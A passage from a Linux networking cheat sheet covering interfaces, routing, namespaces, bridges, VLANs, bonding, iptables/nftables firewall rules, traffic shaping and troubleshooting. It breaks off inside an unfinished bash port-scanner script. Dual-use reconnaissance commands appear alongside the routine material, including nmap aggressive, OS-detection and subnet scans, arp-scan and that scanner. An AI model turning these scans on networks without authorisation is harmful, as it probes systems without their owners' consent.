grep pattern file          # Search for pattern
sed 's/old/new/g' file     # Replace text
awk '{print $1}' file      # Process columns

# System monitoring
top                        # Process viewer
htop                       # Enhanced process viewer
ps aux                     # List all processes
df -h                      # Disk usage
free -h                    # Memory usage

# Network
ip addr show               # Show IP addresses
ss -tulpn                  # Show listening ports
ping host                  # Test connectivity
curl url                   # HTTP client

uname -a                   # Kernel version
lsb_release -a             # Distribution info
hostnamectl                # System hostname
uptime                     # System uptime

# List all interfaces
ip link show
ip addr show

# Show specific interface
ip link show eth0
ip addr show wlan0

# Show interface statistics
ip -s link show eth0

# Ethernet interfaces: eth0, eth1, ens33, enp3s0
# Wireless interfaces: wlan0, wlp2s0

# Bring interface up/down
sudo ip link set eth0 up
sudo ip link set eth0 down

# Check interface status
ip link show eth0
cat /sys/class/net/eth0/operstate

# View interface details
ethtool eth0
ethtool -i eth0  # Driver information
ethtool -S eth0  # Statistics

# View loopback
ip addr show lo

# Loopback is typically 127.0.0.1 (IPv4) and ::1 (IPv6)
ping 127.0.0.1
ping localhost

# Create veth pair
sudo ip link add veth0 type veth peer name veth1

# Bring them up
sudo ip link set veth0 up
sudo ip link set veth1 up

# Assign IP addresses
sudo ip addr add 10.0.0.1/24 dev veth0
sudo ip addr add 10.0.0.2/24 dev veth1

# Delete veth pair
sudo ip link delete veth0

# Create dummy interface
sudo ip link add dummy0 type dummy

# Assign IP and bring up
sudo ip addr add 192.168.100.1/24 dev dummy0
sudo ip link set dummy0 up

# Delete dummy interface
sudo ip link delete dummy0

# Install required package
sudo apt-get install uml-utilities

# Create TUN interface
sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 10.0.1.1/24 dev tun0
sudo ip link set tun0 up

# Create TAP interface
sudo ip tuntap add dev tap0 mode tap
sudo ip addr add 10.0.2.1/24 dev tap0
sudo ip link set tap0 up

# Delete TUN/TAP interfaces
sudo ip link delete tun0
sudo ip link delete tap0

# Using tunctl (alternative)
sudo tunctl -t tap0 -u username
sudo ip link set tap0 up

# OpenVPN typically uses TUN
# /etc/openvpn/server.conf
dev tun
server 10.8.0.0 255.255.255.0
push "redirect-gateway def1"

# Start OpenVPN
sudo openvpn --config server.conf

# Add IPv4 address
sudo ip addr add 192.168.1.100/24 dev eth0

# Add IPv6 address
sudo ip addr add 2001:db8::1/64 dev eth0

# Add multiple addresses to same interface
sudo ip addr add 192.168.1.101/24 dev eth0
sudo ip addr add 192.168.1.102/24 dev eth0

# Remove IP address
sudo ip addr del 192.168.1.100/24 dev eth0

# Flush all addresses from interface
sudo ip addr flush dev eth0

# Request IP via DHCP (dhclient)
sudo dhclient eth0

# Release DHCP lease
sudo dhclient -r eth0

# Request IP via DHCP (dhcpcd)
sudo dhcpcd eth0

# Using NetworkManager
sudo nmcli device modify eth0 ipv4.method auto

# Temporary (lost on reboot)
sudo ip addr add 192.168.1.100/24 dev eth0
sudo ip link set eth0 up
sudo ip route add default via 192.168.1.1

# Permanent - Debian/Ubuntu (/etc/network/interfaces)
auto eth0
iface eth0 inet static
    address 192.168.1.100
    netmask 255.255.255.0
    gateway 192.168.1.1
    dns-nameservers 8.8.8.8 8.8.4.4

# Permanent - RHEL/CentOS (/etc/sysconfig/network-scripts/ifcfg-eth0)
DEVICE=eth0
BOOTPROTO=static
IPADDR=192.168.1.100
NETMASK=255.255.255.0
GATEWAY=192.168.1.1
DNS1=8.8.8.8
ONBOOT=yes

# Permanent - Netplan (Ubuntu 18.04+) (/etc/netplan/01-netcfg.yaml)
network:
  version: 2
  ethernets:
    eth0:
      addresses:
        - 192.168.1.100/24
      gateway4: 192.168.1.1
      nameservers:
        addresses: [8.8.8.8, 8.8.4.4]

# Apply netplan config
sudo netplan apply

# Show routing table
ip route show
ip route list

# Show routing table for specific interface
ip route show dev eth0

# Show IPv6 routes
ip -6 route show

# Legacy command
route -n
netstat -rn

# Add route to network
sudo ip route add 10.0.0.0/24 via 192.168.1.1
sudo ip route add 10.0.0.0/24 via 192.168.1.1 dev eth0

# Add default gateway
sudo ip route add default via 192.168.1.1
sudo ip route add default via 192.168.1.1 dev eth0

# Add route with metric (priority)
sudo ip route add 10.0.0.0/24 via 192.168.1.1 metric 100

# IPv6 route
sudo ip -6 route add 2001:db8::/32 via 2001:db8::1

# Delete specific route
sudo ip route del 10.0.0.0/24
sudo ip route del default via 192.168.1.1

# Delete all routes for interface
sudo ip route flush dev eth0

# View routing tables
ip rule list
cat /etc/iproute2/rt_tables

# Create custom routing table
# Add to /etc/iproute2/rt_tables:
# 100 custom

# Add routes to custom table
sudo ip route add 10.0.0.0/24 via 192.168.1.1 table custom
sudo ip route add default via 192.168.1.1 table custom

# Add rule to use custom table
sudo ip rule add from 192.168.1.100 table custom
sudo ip rule add iif eth1 table custom

# Delete rule
sudo ip rule del from 192.168.1.100 table custom

# Route based on source IP
sudo ip rule add from 10.0.0.0/24 table 100
sudo ip route add default via 192.168.1.1 table 100

# Route based on destination
sudo ip rule add to 8.8.8.8 table 101
sudo ip route add default via 192.168.2.1 table 101

# Route based on interface
sudo ip rule add iif eth1 table 102

# Mark-based routing (with iptables)
sudo iptables -t mangle -A PREROUTING -s 10.0.0.0/24 -j MARK --set-mark 100
sudo ip rule add fwmark 100 table 100

# List namespaces
ip netns list

# Create namespace
sudo ip netns add netns1

# Execute command in namespace
sudo ip netns exec netns1 ip addr show
sudo ip netns exec netns1 bash  # Interactive shell

# Create veth pair and move to namespace
sudo ip link add veth0 type veth peer name veth1
sudo ip link set veth1 netns netns1

# Configure interfaces in namespace
sudo ip netns exec netns1 ip addr add 10.0.0.1/24 dev veth1
sudo ip netns exec netns1 ip link set veth1 up
sudo ip netns exec netns1 ip link set lo up

# Configure host side
sudo ip addr add 10.0.0.2/24 dev veth0
sudo ip link set veth0 up

# Delete namespace
sudo ip netns del netns1

# Create isolated network environment
sudo ip netns add isolated

# Create veth pair
sudo ip link add veth-host type veth peer name veth-isolated

# Move one end to namespace
sudo ip link set veth-isolated netns isolated

# Configure namespace
sudo ip netns exec isolated ip addr add 172.16.0.2/24 dev veth-isolated
sudo ip netns exec isolated ip link set veth-isolated up
sudo ip netns exec isolated ip link set lo up
sudo ip netns exec isolated ip route add default via 172.16.0.1

# Configure host
sudo ip addr add 172.16.0.1/24 dev veth-host
sudo ip link set veth-host up

# Enable NAT for namespace
sudo iptables -t nat -A POSTROUTING -s 172.16.0.0/24 -j MASQUERADE
sudo sysctl -w net.ipv4.ip_forward=1

# Test from namespace
sudo ip netns exec isolated ping 8.8.8.8

# Create bridge
sudo ip link add br0 type bridge

# Add interfaces to bridge
sudo ip link set eth0 master br0
sudo ip link set eth1 master br0

# Configure bridge
sudo ip addr add 192.168.1.1/24 dev br0
sudo ip link set br0 up

# Remove interface from bridge
sudo ip link set eth0 nomaster

# View bridge details
bridge link show
bridge fdb show  # Forwarding database

# Delete bridge
sudo ip link delete br0

# Create bridge for VMs
sudo ip link add br0 type bridge
sudo ip link set br0 up

# Add physical interface
sudo ip link set eth0 master br0

# Create TAP for VM
sudo ip tuntap add dev tap0 mode tap
sudo ip link set tap0 master br0
sudo ip link set tap0 up

# Start VM with tap0 interface
# qemu-system-x86_64 -netdev tap,id=net0,ifname=tap0,script=no -device virtio-net-pci,netdev=net0

# /etc/network/interfaces (Debian/Ubuntu)
auto br0
iface br0 inet static
    address 192.168.1.1
    netmask 255.255.255.0
    bridge_ports eth0 eth1
    bridge_stp off
    bridge_fd 0

# Load 8021q module
sudo modprobe 8021q

# Create VLAN interface
sudo ip link add link eth0 name eth0.10 type vlan id 10

# Configure VLAN interface
sudo ip addr add 192.168.10.1/24 dev eth0.10
sudo ip link set eth0.10 up

# Create multiple VLANs
sudo ip link add link eth0 name eth0.20 type vlan id 20
sudo ip addr add 192.168.20.1/24 dev eth0.20
sudo ip link set eth0.20 up

# Remove VLAN interface
sudo ip link delete eth0.10

# View VLAN configuration
cat /proc/net/vlan/config
ip -d link show eth0.10

# /etc/network/interfaces
auto eth0.10
iface eth0.10 inet static
    address 192.168.10.1
    netmask 255.255.255.0
    vlan-raw-device eth0

# Load bonding module
sudo modprobe bonding

# Create bond interface
sudo ip link add bond0 type bond mode active-backup
sudo ip link set bond0 up

# Add slaves to bond
sudo ip link set eth0 master bond0
sudo ip link set eth1 master bond0

# Configure bond
sudo ip addr add 192.168.1.100/24 dev bond0

# View bond status
cat /proc/net/bonding/bond0

# Remove bond
sudo ip link set eth0 nomaster
sudo ip link set eth1 nomaster
sudo ip link delete bond0

# Mode 0: balance-rr (round-robin)
sudo ip link add bond0 type bond mode balance-rr

# Mode 1: active-backup (failover)
sudo ip link add bond0 type bond mode active-backup

# Mode 2: balance-xor
sudo ip link add bond0 type bond mode balance-xor

# Mode 3: broadcast
sudo ip link add bond0 type bond mode broadcast

# Mode 4: 802.3ad (LACP)
sudo ip link add bond0 type bond mode 802.3ad

# Mode 5: balance-tlb
sudo ip link add bond0 type bond mode balance-tlb

# Mode 6: balance-alb
sudo ip link add bond0 type bond mode balance-alb

# /etc/network/interfaces
auto bond0
iface bond0 inet static
    address 192.168.1.100
    netmask 255.255.255.0
    bond-slaves eth0 eth1
    bond-mode active-backup
    bond-miimon 100
    bond-primary eth0

# View current rules
sudo iptables -L -n -v
sudo iptables -t nat -L -n -v
sudo iptables -t mangle -L -n -v

# Save rules
sudo iptables-save > /etc/iptables/rules.v4
sudo ip6tables-save > /etc/iptables/rules.v6

# Restore rules
sudo iptables-restore < /etc/iptables/rules.v4

# Flush all rules
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t mangle -F

# Set default policies
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT

# Allow established connections
sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Allow loopback
sudo iptables -A INPUT -i lo -j ACCEPT

# Allow SSH
sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

# Allow HTTP/HTTPS
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT

# Allow ping
sudo iptables -A INPUT -p icmp --icmp-type echo-request -j ACCEPT

# Drop invalid packets
sudo iptables -A INPUT -m state --state INVALID -j DROP

# Log dropped packets
sudo iptables -A INPUT -j LOG --log-prefix "IPTables-Dropped: "
sudo iptables -A INPUT -j DROP

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf

# Masquerade outgoing traffic
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

# SNAT (Source NAT)
sudo iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -o eth0 -j SNAT --to-source 203.0.113.1

# DNAT (Destination NAT) - Port forwarding
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.1.100:8080

# Port forwarding example
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 8080 -j DNAT --to 192.168.1.100:80
sudo iptables -A FORWARD -p tcp -d 192.168.1.100 --dport 80 -j ACCEPT

# Limit SSH connections
sudo iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set
sudo iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 4 -j DROP

# Limit ping rate
sudo iptables -A INPUT -p icmp --icmp-type echo-request -m limit --limit 1/s -j ACCEPT
sudo iptables -A INPUT -p icmp --icmp-type echo-request -j DROP

# Connection limiting
sudo iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 20 -j REJECT

# Block specific IP
sudo iptables -A INPUT -s 203.0.113.50 -j DROP

# Block network
sudo iptables -A INPUT -s 203.0.113.0/24 -j DROP

# Block by country (using ipset)
sudo ipset create china hash:net
sudo ipset add china 1.2.3.0/24
sudo iptables -A INPUT -m set --match-set china src -j DROP

# List rules
sudo nft list ruleset

# Create table
sudo nft add table inet filter

# Create chains
sudo nft add chain inet filter input { type filter hook input priority 0 \; policy drop \; }
sudo nft add chain inet filter forward { type filter hook forward priority 0 \; policy drop \; }
sudo nft add chain inet filter output { type filter hook output priority 0 \; policy accept \; }

# Add rules
sudo nft add rule inet filter input iif lo accept
sudo nft add rule inet filter input ct state established,related accept
sudo nft add rule inet filter input tcp dport 22 accept
sudo nft add rule inet filter input tcp dport { 80, 443 } accept

# Save rules
sudo nft list ruleset > /etc/nftables.conf

# Load rules
sudo nft -f /etc/nftables.conf

# Flush rules
sudo nft flush ruleset

# Ping
ping 8.8.8.8
ping -c 4 google.com  # 4 packets
ping -i 0.2 8.8.8.8  # 0.2 second interval
ping -s 1500 8.8.8.8  # Large packet size

# Ping IPv6
ping6 2001:4860:4860::8888

# Traceroute
traceroute google.com
traceroute -n 8.8.8.8  # No DNS resolution
traceroute -T -p 80 google.com  # TCP SYN to port 80

# MTR (better than traceroute)
mtr google.com
mtr -n -c 100 8.8.8.8  # 100 cycles, no DNS

# ss (modern netstat replacement)
ss -tuln  # TCP/UDP listening ports
ss -tupn  # TCP/UDP with process info
ss -tan  # All TCP connections, numeric
ss -s  # Summary statistics

# Show specific port
ss -tulpn | grep :80
ss -tulpn sport = :22

# Show established connections
ss -t state established

# Show listening sockets
ss -tl

# netstat (legacy)
netstat -tuln  # Listening ports
netstat -tupn  # With process info
netstat -s  # Statistics
netstat -i  # Interface statistics

# tcpdump
sudo tcpdump -i eth0
sudo tcpdump -i eth0 -n  # No DNS resolution
sudo tcpdump -i eth0 -c 100  # Capture 100 packets

# Filter by host
sudo tcpdump -i eth0 host 192.168.1.100
sudo tcpdump -i eth0 src 192.168.1.100
sudo tcpdump -i eth0 dst 192.168.1.100

# Filter by port
sudo tcpdump -i eth0 port 80
sudo tcpdump -i eth0 tcp port 22
sudo tcpdump -i eth0 udp port 53

# Save to file
sudo tcpdump -i eth0 -w capture.pcap
sudo tcpdump -i eth0 -w capture.pcap -C 100  # 100MB files
sudo tcpdump -i eth0 -G 3600 -w capture-%Y%m%d-%H%M%S.pcap  # Rotate hourly

# Read from file
tcpdump -r capture.pcap
tcpdump -r capture.pcap -n 'tcp port 80'

# Advanced filters
sudo tcpdump -i eth0 'tcp[tcpflags] & (tcp-syn) != 0'  # SYN packets
sudo tcpdump -i eth0 'icmp[icmptype] = icmp-echo'  # Ping requests
sudo tcpdump -i eth0 -n -A 'port 80 and host 192.168.1.100'  # ASCII output

# iftop (interactive)
sudo iftop -i eth0
sudo iftop -i eth0 -n  # No DNS resolution

# nethogs (per-process)
sudo nethogs eth0

# nload
nload eth0

# bmon
bmon -p eth0

# vnstat (statistics database)
vnstat -i eth0
vnstat -l -i eth0  # Live mode
vnstat -h -i eth0  # Hourly stats
vnstat -d -i eth0  # Daily stats

# nmap
nmap 192.168.1.1  # Basic scan
nmap -p 22,80,443 192.168.1.1  # Specific ports
nmap -p- 192.168.1.1  # All ports
nmap -sV 192.168.1.1  # Version detection
nmap -O 192.168.1.1  # OS detection
nmap -A 192.168.1.1  # Aggressive scan
nmap 192.168.1.0/24  # Network scan

# Network discovery
nmap -sn 192.168.1.0/24  # Ping scan
nmap -sL 192.168.1.0/24  # List scan

# arp-scan
sudo arp-scan -l  # Local network
sudo arp-scan --interface=eth0 192.168.1.0/24

# ethtool
ethtool eth0  # Link status
ethtool -i eth0  # Driver info
ethtool -S eth0  # Statistics
ethtool -g eth0  # Ring buffer
ethtool -k eth0  # Offload features

# Set speed/duplex
sudo ethtool -s eth0 speed 1000 duplex full autoneg off

# ip command
ip -s link show eth0  # Statistics
ip -s -s link show eth0  # Detailed statistics
ip addr show eth0
ip route show dev eth0
ip neigh show dev eth0  # ARP cache

# View ARP cache
ip neigh show
arp -n

# Add static ARP entry
sudo ip neigh add 192.168.1.100 lladdr 00:11:22:33:44:55 dev eth0

# Delete ARP entry
sudo ip neigh del 192.168.1.100 dev eth0

# Flush ARP cache
sudo ip neigh flush dev eth0
sudo ip neigh flush all

# arping (ARP ping)
sudo arping -I eth0 192.168.1.1

# /etc/hosts - Local DNS
192.168.1.100  server1.local server1
192.168.1.101  server2.local server2
127.0.0.1      localhost

# /etc/resolv.conf - DNS servers
nameserver 8.8.8.8
nameserver 8.8.4.4
search example.com
options timeout:2 attempts:3

# /etc/nsswitch.conf - Name service switch
hosts: files dns myhostname

# Status
systemd-resolve --status
resolvectl status

# Query DNS
resolvectl query google.com
systemd-resolve google.com

# Flush cache
sudo resolvectl flush-caches

# Configuration
# /etc/systemd/resolved.conf
[Resolve]
DNS=8.8.8.8 8.8.4.4
FallbackDNS=1.1.1.1
Domains=example.com

# dig (detailed)
dig google.com
dig @8.8.8.8 google.com  # Specific DNS server
dig google.com A  # A record
dig google.com AAAA  # IPv6
dig google.com MX  # Mail servers
dig google.com NS  # Name servers
dig +short google.com  # Short output
dig -x 8.8.8.8  # Reverse lookup

# nslookup
nslookup google.com
nslookup google.com 8.8.8.8

# host
host google.com
host -t MX google.com
host 8.8.8.8

# View qdisc (queuing discipline)
tc qdisc show dev eth0

# Add bandwidth limit
sudo tc qdisc add dev eth0 root tbf rate 1mbit burst 32kbit latency 400ms

# Delete qdisc
sudo tc qdisc del dev eth0 root

# HTB (Hierarchical Token Bucket)
sudo tc qdisc add dev eth0 root handle 1: htb default 30
sudo tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbit
sudo tc class add dev eth0 parent 1:1 classid 1:10 htb rate 50mbit ceil 100mbit
sudo tc class add dev eth0 parent 1:1 classid 1:20 htb rate 30mbit ceil 50mbit
sudo tc class add dev eth0 parent 1:1 classid 1:30 htb rate 20mbit ceil 30mbit

# PRIO qdisc
sudo tc qdisc add dev eth0 root handle 1: prio bands 3

# Add filters
sudo tc filter add dev eth0 parent 1: protocol ip prio 1 u32 match ip dport 22 0xffff flowid 1:1
sudo tc filter add dev eth0 parent 1: protocol ip prio 2 u32 match ip dport 80 0xffff flowid 1:2

# Limit ingress bandwidth
sudo tc qdisc add dev eth0 handle ffff: ingress
sudo tc filter add dev eth0 parent ffff: protocol ip prio 50 u32 match ip src 0.0.0.0/0 police rate 10mbit burst 10k drop flowid :1

# Limit egress bandwidth
sudo tc qdisc add dev eth0 root tbf rate 10mbit latency 50ms burst 10k

# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
echo "net.ipv4.ip_forward=1" | sudo tee -a /etc/sysctl.conf

# Configure NAT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -A FORWARD -i eth1 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -A FORWARD -i eth0 -o eth1 -j ACCEPT

# Save rules
sudo iptables-save | sudo tee /etc/iptables/rules.v4

# Forward external port 8080 to internal 192.168.1.100:80
sudo iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.1.100:80
sudo iptables -A FORWARD -p tcp -d 192.168.1.100 --dport 80 -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT

# Multiple ports
sudo iptables -t nat -A PREROUTING -p tcp --dport 8080:8090 -j DNAT --to-destination 192.168.1.100:80-90

# Redirect HTTP traffic to proxy
sudo iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 80 -j REDIRECT --to-port 3128
sudo iptables -t nat -A PREROUTING -i eth1 -p tcp --dport 443 -j REDIRECT --to-port 3129

# Create isolated networks with namespaces
for i in {1..3}; do
    sudo ip netns add ns$i
    sudo ip link add veth-host$i type veth peer name veth-ns$i
    sudo ip link set veth-ns$i netns ns$i
    sudo ip addr add 10.0.$i.1/24 dev veth-host$i
    sudo ip link set veth-host$i up
    sudo ip netns exec ns$i ip addr add 10.0.$i.2/24 dev veth-ns$i
    sudo ip netns exec ns$i ip link set veth-ns$i up
    sudo ip netns exec ns$i ip link set lo up
    sudo ip netns exec ns$i ip route add default via 10.0.$i.1
done

# Using iptables for simple load balancing
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode nth --every 2 --packet 0 -j DNAT --to-destination 192.168.1.10:80
sudo iptables -t nat -A PREROUTING -p tcp --dport 80 -m statistic --mode nth --every 2 --packet 1 -j DNAT --to-destination 192.168.1.11:80

# System with multiple network interfaces
# eth0: 192.168.1.0/24 (internal)
# eth1: 203.0.113.0/24 (external)

# Internal traffic uses eth0 table
sudo ip route add default via 192.168.1.1 dev eth0 table 100
sudo ip rule add from 192.168.1.0/24 table 100

# External traffic uses eth1 table
sudo ip route add default via 203.0.113.1 dev eth1 table 101
sudo ip rule add from 203.0.113.0/24 table 101

# Main table default
sudo ip route add default via 192.168.1.1

# Create bridge for containers
sudo ip link add docker0 type bridge
sudo ip addr add 172.17.0.1/16 dev docker0
sudo ip link set docker0 up

# Create container namespace
sudo ip netns add container1
sudo ip link add veth0 type veth peer name veth1
sudo ip link set veth1 netns container1

# Configure
sudo ip addr add 172.17.0.2/16 dev veth0
sudo ip link set veth0 master docker0
sudo ip link set veth0 up

sudo ip netns exec container1 ip addr add 172.17.0.3/16 dev veth1
sudo ip netns exec container1 ip link set veth1 up
sudo ip netns exec container1 ip link set lo up
sudo ip netns exec container1 ip route add default via 172.17.0.1

# NAT for containers
sudo iptables -t nat -A POSTROUTING -s 172.17.0.0/16 ! -o docker0 -j MASQUERADE

# View all network parameters
sysctl -a | grep net

# TCP buffer sizes
sudo sysctl -w net.core.rmem_max=134217728
sudo sysctl -w net.core.wmem_max=134217728
sudo sysctl -w net.ipv4.tcp_rmem="4096 87380 67108864"
sudo sysctl -w net.ipv4.tcp_wmem="4096 65536 67108864"

# Connection tracking
sudo sysctl -w net.netfilter.nf_conntrack_max=1000000
sudo sysctl -w net.nf_conntrack_max=1000000

# TCP optimization
sudo sysctl -w net.ipv4.tcp_congestion_control=bbr
sudo sysctl -w net.ipv4.tcp_fastopen=3
sudo sysctl -w net.ipv4.tcp_slow_start_after_idle=0
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

# Socket backlog
sudo sysctl -w net.core.somaxconn=4096
sudo sysctl -w net.core.netdev_max_backlog=5000

# Make permanent
cat <<EOF | sudo tee -a /etc/sysctl.conf
# Network Performance Tuning
net.core.rmem_max=134217728
net.core.wmem_max=134217728
net.ipv4.tcp_rmem=4096 87380 67108864
net.ipv4.tcp_wmem=4096 65536 67108864
net.ipv4.tcp_congestion_control=bbr
net.core.somaxconn=4096
EOF

# Apply
sudo sysctl -p

# Increase ring buffer
sudo ethtool -G eth0 rx 4096 tx 4096

# Enable/disable offloading
sudo ethtool -K eth0 tso on
sudo ethtool -K eth0 gso on
sudo ethtool -K eth0 gro on
sudo ethtool -K eth0 lro on

# Set interrupt coalescence
sudo ethtool -C eth0 adaptive-rx on adaptive-tx on

# RSS (Receive Side Scaling)
sudo ethtool -L eth0 combined 4

# Strict INPUT policy
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT ACCEPT

# Anti-spoofing
sudo iptables -A INPUT -s 10.0.0.0/8 -i eth0 -j DROP
sudo iptables -A INPUT -s 172.16.0.0/12 -i eth0 -j DROP
sudo iptables -A INPUT -s 192.168.0.0/16 -i eth0 -j DROP

# Block invalid packets
sudo iptables -A INPUT -m state --state INVALID -j DROP
sudo iptables -A FORWARD -m state --state INVALID -j DROP

# SYN flood protection
sudo iptables -A INPUT -p tcp --syn -m limit --limit 1/s --limit-burst 3 -j ACCEPT
sudo iptables -A INPUT -p tcp --syn -j DROP

# Port scan protection
sudo iptables -N port-scanning
sudo iptables -A port-scanning -p tcp --tcp-flags SYN,ACK,FIN,RST RST -m limit --limit 1/s --limit-burst 2 -j RETURN
sudo iptables -A port-scanning -j DROP

# Disable IP forwarding (unless needed)
sudo sysctl -w net.ipv4.ip_forward=0

# SYN cookies protection
sudo sysctl -w net.ipv4.tcp_syncookies=1

# Ignore ICMP redirects
sudo sysctl -w net.ipv4.conf.all.accept_redirects=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Ignore source routed packets
sudo sysctl -w net.ipv4.conf.all.accept_source_route=0

# Reverse path filtering
sudo sysctl -w net.ipv4.conf.all.rp_filter=1

# Log martian packets
sudo sysctl -w net.ipv4.conf.all.log_martians=1

# Disable ICMP echo
sudo sysctl -w net.ipv4.icmp_echo_ignore_all=1

# Monitor connections
watch -n 1 'ss -s'
watch -n 1 'netstat -i'

# Monitor iptables
watch -n 1 'iptables -L -n -v'

# Log suspicious activity
sudo iptables -A INPUT -m state --state INVALID -j LOG --log-prefix "Invalid packet: "
sudo iptables -A INPUT -p tcp --tcp-flags ALL NONE -j LOG --log-prefix "NULL scan: "
sudo iptables -A INPUT -p tcp --tcp-flags ALL ALL -j LOG --log-prefix "XMAS scan: "

# 1. Check interface status
ip link show
ip addr show
ethtool eth0

# 2. Check IP configuration
ip addr show eth0
ip route show

# 3. Check gateway reachability
ping -c 4 $(ip route | grep default | awk '{print $3}')

# 4. Check DNS
cat /etc/resolv.conf
dig google.com
nslookup google.com

# 5. Check firewall
sudo iptables -L -n -v
sudo iptables -t nat -L -n -v

# 6. Check listening services
ss -tulpn

# 7. Test specific port
telnet 192.168.1.1 80
nc -zv 192.168.1.1 80
curl -v telnet://192.168.1.1:80

# Check routing table
ip route show
ip route get 8.8.8.8

# Check ARP
ip neigh show

# Traceroute to destination
traceroute -n 8.8.8.8
mtr -n 8.8.8.8

# Check for asymmetric routing
sudo tcpdump -i any -n host 8.8.8.8

# Test DNS resolution
dig google.com
nslookup google.com
host google.com

# Check DNS servers
cat /etc/resolv.conf
systemd-resolve --status

# Test specific DNS server
dig @8.8.8.8 google.com
dig @1.1.1.1 google.com

# Flush DNS cache
sudo systemd-resolve --flush-caches
sudo resolvectl flush-caches

# Check /etc/hosts
cat /etc/hosts

# Check interface errors
ip -s link show eth0
ethtool -S eth0 | grep -i error
ethtool -S eth0 | grep -i drop

# Check bandwidth usage
iftop -i eth0
nethogs eth0
nload eth0

# Check latency
ping -c 100 8.8.8.8 | tail -1
mtr -r -c 100 8.8.8.8

# Check MTU issues
ping -M do -s 1472 8.8.8.8  # Test path MTU
tracepath 8.8.8.8

# Monitor connections
ss -s
ss -tan | awk '{print $1}' | sort | uniq -c

# Check interface statistics
ip -s -s link show eth0
ethtool -S eth0

# Monitor drops
watch -n 1 'ip -s link show eth0'

# Test with different packet sizes
ping -s 100 8.8.8.8
ping -s 1000 8.8.8.8
ping -s 1400 8.8.8.8

# Capture and analyze
sudo tcpdump -i eth0 -w capture.pcap

# Status
nmcli general status
nmcli device status
nmcli connection show

# Create connection
nmcli connection add type ethernet ifname eth0 con-name eth0-static \
  ipv4.addresses 192.168.1.100/24 \
  ipv4.gateway 192.168.1.1 \
  ipv4.dns "8.8.8.8 8.8.4.4" \
  ipv4.method manual

# Modify connection
nmcli connection modify eth0-static ipv4.addresses 192.168.1.101/24

# Activate/deactivate
nmcli connection up eth0-static
nmcli connection down eth0-static

# Delete connection
nmcli connection delete eth0-static

# WiFi
nmcli device wifi list
nmcli device wifi connect SSID password PASSWORD

# Enable service
sudo systemctl enable systemd-networkd
sudo systemctl start systemd-networkd

# Configuration files: /etc/systemd/network/

# Static IP (/etc/systemd/network/10-eth0.network)
[Match]
Name=eth0

[Network]
Address=192.168.1.100/24
Gateway=192.168.1.1
DNS=8.8.8.8
DNS=8.8.4.4

# DHCP (/etc/systemd/network/20-dhcp.network)
[Match]
Name=en*

[Network]
DHCP=yes

# Restart to apply
sudo systemctl restart systemd-networkd

# Status
networkctl status
networkctl list

# Network interfaces
/etc/network/interfaces         # Debian/Ubuntu
/etc/sysconfig/network-scripts/ # RHEL/CentOS
/etc/netplan/                   # Ubuntu 18.04+
/etc/systemd/network/           # systemd-networkd

# DNS
/etc/resolv.conf               # DNS servers
/etc/hosts                     # Local DNS
/etc/nsswitch.conf            # Name service switch
/etc/systemd/resolved.conf    # systemd-resolved

# Firewall
/etc/iptables/rules.v4        # iptables rules
/etc/nftables.conf            # nftables rules
/etc/firewalld/               # firewalld config

# Network services
/etc/services                 # Port/service mappings
/etc/protocols               # Protocol definitions

# Routing
/etc/iproute2/rt_tables      # Routing table names

# Add to ~/.bashrc or ~/.zshrc

# Network status
alias netstat-listening='ss -tulpn'
alias netstat-all='ss -tupan'
alias netstat-summary='ss -s'

# Quick interface info
alias myip='ip -4 addr show | grep -oP "(?<=inet\s)\d+(\.\d+){3}"'
alias myips='ip addr show | grep "inet "'
alias gateway='ip route | grep default'

# DNS
alias dns='cat /etc/resolv.conf'
alias flushd='sudo systemd-resolve --flush-caches'

# Firewall
alias fw-list='sudo iptables -L -n -v'
alias fw-nat='sudo iptables -t nat -L -n -v'

# Monitoring
alias bandwidth='sudo iftop -i eth0'
alias connections='watch -n 1 "ss -s"'

# Network test
alias testnet='ping -c 4 8.8.8.8 && ping -c 4 google.com'

#!/bin/bash
# network-check.sh - Quick network diagnostics

echo "=== Network Interfaces ==="
ip -br addr show

echo -e "\n=== Default Gateway ==="
ip route show default

echo -e "\n=== DNS Servers ==="
cat /etc/resolv.conf | grep nameserver

echo -e "\n=== Gateway Reachability ==="
GATEWAY=$(ip route | grep default | awk '{print $3}')
ping -c 3 $GATEWAY

echo -e "\n=== Internet Connectivity ==="
ping -c 3 8.8.8.8

echo -e "\n=== DNS Resolution ==="
nslookup google.com | grep -A1 "Name:"

echo -e "\n=== Listening Ports ==="
ss -tulpn | grep LISTEN

echo -e "\n=== Active Connections ==="
ss -s

#!/bin/bash
# port-scan.sh - Simple port scanner

HOST=$1
START_PORT=${2:-1}
END_PORT=${3:-1024}

if [ -z "$HOST" ]; then
    echo "Usage: $0 <host> [start_port] [end_port]"
    exit 1
fi

echo "Scanning $HOST ports $START_PORT-$END_PORT..."

for port in $(seq $START_PORT $END_PORT); do
